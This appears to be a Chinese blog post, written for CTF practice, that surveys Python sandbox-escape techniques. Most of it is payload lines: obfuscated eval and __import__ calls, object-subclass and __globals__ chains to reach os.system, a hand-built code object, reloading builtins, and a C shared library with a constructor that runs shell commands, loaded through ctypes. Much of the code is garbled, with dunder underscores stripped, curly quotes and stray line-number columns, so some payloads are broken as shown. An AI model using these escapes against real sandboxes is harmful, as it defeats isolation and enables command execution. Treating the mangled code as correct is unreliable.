0%

python_沙箱逃逸_绕过总结

本文首发与先知社区:https://xz.aliyun.com/t/9178

概述

学弟写了个Python的qq机器人,有代码执行,试着逃逸了一波,顺变想总结一下以前看到的用__code__逃逸的姿势,所以有了这篇文章.
沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程

字符串过滤

如果题目是通过正则过滤,eval,import 等危险字符,

任意字符的获取

首先我们要利用拼接等方式,获取任意字符,方便后续的绕过

有引号的情况

如果没有过滤引号,那姿势就有很多了,假设目的字符为flag

1
2
3
4
5
6
7
8
9
10
'galf'[::-1]
\146\154\141\147 #8进制
\x66\x6c\x61\x67 #16进制
'flab'.replace('b','g')
'f'+'lag'
'f''lag'
a='fl';b='ag';f'{a}{b}'
'%clag'%(102)
chr(102)+'lag'
python2还可以通过hex(1718378855)[2:].decode('hex')这种方式得到任意字符,但是在python3中hex的解码被移动到了codecs.encode()中

都可以得到想要的字符

无引号的情况

1
2
3
4
chr(102)+chr(108)+chr(97)+chr(103)
str().join(list(dict(fl=1,ag=2).keys()))
也可以通过dir(dir)[1][2]等获取单个字符然后拼接

代码执行

我们先看一些python的相关知识

  1. image-20210111185552877

每个模块都有自己的globals变量空间,在局部作用域中,有locals变量空间,这些变量空间都可以通过globals(),locals()访问修改,个个模块之前的联系通过import实现,所有模块都引用一个builtins模块,提供python内建函数的支持

  1. 函数或者对象方法都存在func.__globals__表示当前函数可访问的变量空间

code对象表示字节编译的可执行Python代码或字节码,函数的func.__code__执行当前函数的code对象

  1. python所有的对象的基类为object对象,
1
2
3
4
5
6
7
8
9
10

关于代码执行的,我们大概有以下几个思路

1. 利用冷门执行命令的库
2. 利用getattr
3. 利用python code对象
4. 利用object 子类

#### 利用冷门执行命令的库

os
commands:仅限2.x
subprocess
timeit:timeit.sys、timeit.timeit(“import(‘os’).system(‘whoami’)”, number=1) ##之后利用时间盲注
platform:platform.os、platform.sys、platform.popen(‘whoami’, mode=’r’, bufsize=-1).read()
pty:pty.spawn(‘ls’)、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
利用f-string,执行,但是因为不能编码,无法绕过一下过滤
f’{import(“os”).system(“whoami”)}’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17



#### globals\locals

````
globals()['__builtin__'].__dict__.get('eval')('1+1')
````

#### getattr\```__getattribute__\__dict__```

通过前文的任意字符的获取,我们已经获取了字符串'eval,而getattr可以帮我们得到实际的eval函数,

getattr返回对象命名属性的值,它实际上调用对象的```__getattribute__```魔术方法,并且对象的属性会存储在```__dict__```中

由前文我们知道,builtins是被所有模块引用,因此,我们可以通过这种访问获取builtins在获取eval方法,进行任意代码执行.

getattr(base64,’\x5f\x5fb\x75iltins\x5f\x5f’).get(‘ev\x61l’)(‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27whoami\x27\x29\x2e\x72\x65\x61\x64\x28\x29’)

getattr(linecache,’os’)
linecache.dict[‘os’]
builtins.dict[‘eval’]
builtin.dict[‘eval’]

1
2
3
4
5
6
7
8
9
10
11
12
13



#### 利用python code对象

我们知道,代码的执行,实际上是执行code对象,因为我们可以之间构造code对象,进行任意代码执行

code对象的构造,可能要依赖具体的python版本,我的实验环境是python3.9

##### 利用complie构建

comlie可以获取一个code对象,然后利用type获取Function类执行这个code对象,这里传入一个外部模块方便我们 使用builtins

type(lambda*a:1)(compile(‘a.builtinsimport.popen(“whoami”).read()’,’’,’eval’),dict(a=base64))()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

##### 手工构建

随便自定义一个函数,然后修改函数```__code__```值,实现任意代码执行

````
def target():
print(__import__('os').popen('whoami').read())
code="a=(lambda*a:1);a.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
target.__code__.co_argcount,\
target.__code__.co_posonlyargcount,\
target.__code__.co_kwonlyargcount,\
target.__code__.co_nlocals,\
target.__code__.co_stacksize,\
target.__code__.co_flags,\
target.__code__.co_code.hex(),\
target.__code__.co_consts,\
target.__code__.co_names, \
target.__code__.co_varnames,\
target.__code__.co_filename,\
target.__code__.co_name,\
target.__code__.co_firstlineno,\
target.__code__.co_lnotab.hex(),\
target.__code__.co_freevars,\
target.__code__.co_cellvars)
print(code)
````

![截屏2021-01-11 下午7.51.44](https://cdn.jsdelivr.net/gh/W4ndell/static/img/截屏2021-01-11 下午7.51.44.png)

通过这种方式,把要执行的命令转成字符串的形式,配合前文字符串的绕过,成功进行代码执行

#### 利用object

object的子类中有所有的类,我们可以通过类方法的`func.__globals__`获取到builtins进而之间进行代码执行

需要因为需要重载过的类方法才有```__globals__```,所以59需要爆破

object.subclasses()[59].init.globals[‘builtins‘]‘eval’
[].class.bases[0].subclasses()[59].init.globals[‘builtins‘]‘eval’
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins‘]‘eval’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20





## 限制import

### 利用重载绕过限制

import的语法会调用```__import__```函数,而```importlib.import_module```是其背后的实现

要是上述都被限制

我们还可以通过````importlib.reload```重载```__builtins__```模块恢复限制,

若reload也无法使用,

###  直接执行绕过限制
我们可以通过之间执行,os.py 文件导入popen函数

exec(open(‘/usr/local/Cellar/python@3.9/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py’).read())
popen(‘ls’).read()

1
2
3
4
5
###利用一下已经导入os的模块
或者利用一些已经导入os的模块

先获取所有子类

可以考虑利用class ‘warnings.catch_warnings’,从.init.func_globals.values()[13]获取eval,map等等;又或者从.init.func_globals[linecache]得到os
pyhton2
class ‘warnings.catch_warnings’
59 是这个类,不同环境可能不一样,这个类的归属linecache模块,在这个模块中导入了os库
().class.bases[0].subclasses()[59].init.func_globals[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
().class.bases[0].subclasses()[59].init.func_globals.values()[13]‘eval’
Python3
().class.bases[0].subclasses()[93].init.globals[“sys”].modules[“os”].system(“ls”)
[].class.base.subclasses()[127].init.globals‘system’

1
2
3
4
5
6
7
8
9
10
11
12
13

这个思路大体为,因为可以通过object对象获取所有类,还可以通过函数```__globals__```,获取当前函数的作用域,如果一些内置模块导入了os等危险库,而恰巧对object对象获取所有类的方法的命名空间又可见,则可以通过globals获取已导入的os并利用.

具体可以参考

https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/


### 加载c扩展绕过限制
如果os.py被删,

import还在的话,我们可以通过自定义加载器或者上传文件之间执行,加载自己实现的python模块,进行命令执行

#include <stdio.h>
void my_init(void) attribute((constructor));
void my_init(void)
{
system(“ls -la /home/ctf/ > /tmp/ls_home_ctf”);
}

1
2
3

编译好so文件后写入/tmp/bk.so

先写入so文件,然后使用ctypes加载so
<class ‘ctypes.CDLL’>,<class ‘ctypes.LibraryLoader’>
().class.bases[0].subclasses()86.LoadLibrary(‘/tmp/bk.so’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


### 利用pwn

参考```PlaidCTF 2014 '__nightmares__'```

https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

需要有操作文件的函数,劫持got表,从而rce

参考TCTF 2017 final Python

https://www.anquanke.com/post/id/86366%E3%80%82

直接利用opcode,rce

## 其他特殊

### 限制()

如果过滤了(),则不能执行函数

我们可以通过赋值劫持,builtins模块,利用模块之间的引用关系,劫持后续一个传入内容可控的函数为eval进行任意代码执行

参考sctf2020 pysandbox2

app.view_functions[request.form[[].doc[1]]]=lambda:request.form[[].doc[0]];app.view_functions[1]=app.finalize_request;app.finalize_request=eval&u=security&B=self.view_functions1

1
2
3
4
5
6
7
8
9

### sys.modules



`sys.modules` 是一个字典,里面储存了加载过的模块信息,但是不能直接使用, sys.modules 中未经 import 加载的模块对当前空间是不可见的.

如果在

sys.modules[‘os’] = ‘not allowed’

1
2
3
4
5

修改os库,会会导致import失败,

我们只要

del sys.modules[‘os’]

```

既可导入

参考资料

http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html

Paving the Way to Securing the Python Interpreter

https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E7%89%B9%E6%AE%8A%E5%87%BD%E6%95%B0%E6%9F%A5%E6%89%BE

https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

https://blog.csdn.net/wy_97/article/details/80393854

https://delcoding.github.io/2018/05/ciscn-writeup/

Welcome to my other publishing channels